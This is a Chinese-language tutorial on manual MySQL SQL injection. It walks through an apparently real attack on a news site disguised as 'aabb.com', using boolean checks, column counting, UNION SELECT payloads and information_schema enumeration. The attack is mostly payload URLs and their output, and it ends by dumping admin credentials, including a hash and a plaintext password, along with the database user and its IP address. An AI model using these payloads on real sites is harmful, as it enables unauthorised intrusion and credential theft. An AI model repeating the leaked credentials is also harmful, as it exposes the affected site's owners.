Sql注入基础_mysql注入
Mysql数据库结构
数据库A
表名
列名
数据
数据库B
表名
列名
数据
Mysql5.0以上自带数据库:information_schema
information_schema:存储mysql下所有信息的数据库(数据库名,表名,列名)
参数及解释
database():数据库名
user():数据库用户
version():数据库版本
@@version_compile_os:操作系统
符号“.”代表下一级的意思
information_schema.tables:
information_schema数据库下的tables表名,含义:存储所有数据库下的表名信息的表。
information_schema.columns:
information_schema数据库下的columns表名,含义:存储所有数据库下的列名信息的表。
Table_schema:数据库名
Table_name:表名
Column_name:列名
手工实例,aabb代替网站
判断存在注入: http://www.aabb.com/news.php?id=6811 and 1=1正常 http://www.aabb.com/news.php?id=6811 and 1=2异常 判断字段: http://www.aabb.com/news.php?id=6811 order by 42正常 http://www.aabb.com/news.php?id=6811 order by 42异常 联合查询: http://www.aabb.com/news.php?id=-6811 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42 报错5,6,15,20,24 查询相关内容: 可以在显位的位置插入的预设函数; User() 查看用户 database() --查看数据库名称 Version() --查看数据库版本 @@datadir --数据库路径 @@version_compile_os--操作系统版本 system_user() --系统用户名 current_user()--当前用户名 session_user()--连接数据库的用户名 http://www.aabb.com/news.php?id=-6811 UNION SELECT 1,2,3,4,database(),user(),7,8,9,10,11,12,13,14,version(),16,17,18,19,@@version_compile_os,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42 数据库:bdm113183329_db 用户:bdm113183329@123.56.134.176 版本:5.1.48-log 操作系统:unknown-linux-gnu 查询所有数据库:http://www.aabb.com/news.php?id=-6811 UNION SELECT 1,2,3,4, group_concat(schema_name),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42 from information_schema.schemata 只有两个数据库 information_schema, bdm113183329_db 查寻bdm113183329_db下所有的数据表: bdm113183329_db ===》 0x62646D3131333138333332395F6462 http://www.aabb.com/news.php?id=-6811 UNION SELECT 1,2,3,4, group_concat(table_name),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42 from information_schema.tables where table_schema=0x62646D3131333138333332395F6462 admin,admin_copy,ads,area,article,article_copy,books,catalog,city,contents,hezuos,paimai,paimaihui, province,user_info,user_info_copy,works,xhad_ad,xhad_admin,xhad_biz,xhad_config,xhad_day,xhad_hour, xhad_ip,xhad_month,xhad_type,xhad_year,ysj_dongtai,ysj_wzpl,zhanlan 查询admin表下的列: http://www.aabb.com/news.php?id=-6811 UNION SELECT 1,2,3,4, group_concat(column_name),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42 from information_schema.columns where table_name=0x61646D696E a_id,a_user,a_pass,a_flag 查询每列数据: http://www.aabb.com/news.php?id=-6811 UNION SELECT 1,2,3,4,group_concat(a_user,0x5c,a_pass),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42 from admin admin\86aba080f25bb66edd1ab981e4ecbe68 admin\ysjaabb